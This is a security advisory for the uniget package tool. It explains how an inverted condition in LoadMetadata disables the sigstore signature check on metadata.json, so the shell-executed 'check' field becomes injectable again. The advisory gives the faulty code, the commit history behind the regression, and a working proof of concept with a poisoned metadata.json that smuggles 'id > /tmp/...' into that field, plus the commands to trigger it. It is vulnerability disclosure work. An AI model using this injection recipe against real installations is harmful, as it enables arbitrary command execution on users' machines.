GHSA-FHGH-WQ4Q-R37X

The sigstore check on metadata.json is gated on the wrong side of the condition. LoadMetadata in internal/config/update.go:81 verifies the bundle only when UNIGET_IGNORE_METADATA_SIGNATURE is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named "ignore the signature" is what turns verification on.

That matters because metadata.json populates Tool.Check, and pkg/tool/tool.go:250 runs Tool.Check through /bin/bash -c. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs.

Where it is

internal/config/update.go:80-100:

func (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) {
	if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 {
		_, err = security.VerifySigstoreBundle(
			filename,
			filename+".sigstore.json",
			...
		)
		if err != nil {
			return nil, fmt.Errorf("error verifying sigstore bundle for metadata: %s", err)
		}
	}

	loadedTools, err = tool.LoadFromFile(filename)

cmd/uniget/main.go:102-105 carries the same flipped condition in the decision about whether to re-download metadata:

if !myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()) ||
	configuration.AutoUpdate ||
	(len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 &&
		!myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()+".sigstore.json")) {

so a cached metadata.json with no .sigstore.json beside it is not refetched either, as long as the variable is unset.

LoadMetadata is called from cmd/uniget/main.go:115 in the persistent pre-run, which means every subcommand loads metadata this way. The sink is pkg/tool/tool.go:248-251:

func (tool *Tool) RunVersionCheck() (string, error) {
	logging.Tracef("Running version check for %s: %s", tool.Name, tool.Check)
	cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")

How it got this way

The check was introduced correctly. In d12ef12c ("fix: Only accept signed metadata", released as v0.27.1) VerifySigstoreBundle was called unconditionally. 370d0155 then wrapped it in if os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE") != "true", which is still the right polarity. b68a27d5 ("fix: Accept any non-empty value"), which is the commit tagged v0.27.4, rewrote that as if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0. The intent was clearly to accept any truthy value instead of the literal string "true", but the negation was dropped in the rewrite and the meaning flipped.

Proof of concept

Built from a clean checkout of the v0.28.2 tag with go build -o /tmp/unigetbin ./cmd/uniget, then run in user mode against a poisoned cache with no metadata.json.sigstore.json present and UNIGET_IGNORE_METADATA_SIGNATURE explicitly removed from the environment.

H=/tmp/pochome
mkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil
cat > $H/.cache/uniget/metadata.json <<'EOF'
{"tools":[{"name":"evil","version":"1.0.0","binary":"${target}/bin/evil",
"check":"id > /tmp/uniget-rce-proof.txt; echo PWNED","tags":["test"],
"description":"poisoned metadata","repository":"https://example.com",
"license":{"name":"MIT","link":"https://example.com"},
"sources":[{"registry":"ghcr.io","repository":"uniget-org/tools"}]}]}
EOF
printf '#!/bin/sh\necho 1.0.0\n' > $H/.local/bin/evil; chmod +x $H/.local/bin/evil
touch $H/.cache/uniget/evil/1.0.0

env -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \
  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \
  /tmp/unigetbin --user version evil

Observed output:

PWNED

and /tmp/uniget-rce-proof.txt contains the output of id. No signature error was raised, even though there is no bundle file at all.

The control run is the part that pins down the polarity. Same command, same poisoned metadata, only now a metadata.json.sigstore.json exists (deliberately not a valid bundle) and the "ignore" variable is set:

echo '{"not":"a real bundle"}' > $H/.cache/uniget/metadata.json.sigstore.json
UNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \
  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \
  /tmp/unigetbin --user version evil

Observed output:

Error: error loading metadata: error verifying sigstore bundle for metadata: error loading bundle from path /tmp/pochome/.cache/uniget/metadata.json.sigstore.json: proto: (line 1:2): unknown field "not"

So verification runs when the ignore variable is set, and does not run when it is unset.

Deduplication

CVE-2026-45152 (GHSA-qqq4-5773-pmw5) covers the tool.Check command injection itself and is marked patched in v0.27.1. This report is not that finding again: it is that the patch, which was the signature check, stopped running as of v0.27.4 because of the condition rewrite in b68a27d5. The other two published advisories, GHSA-m6jg-wr9m-cg2f and GHSA-qmcq-xw74-w667, are about hook file paths and the EDITOR variable and do not touch metadata loading.

How I found it and a note on tooling

I was reading the shipped fix for CVE-2026-45152 to see whether the guard covered all the paths that reach RunVersionCheck, and the gate condition read backwards on first pass, so I walked the history of that line back to the commit that introduced it. I used AI tooling while investigating, and I built the CLI at v0.28.2 and ran both the exploit and the control myself before writing this up.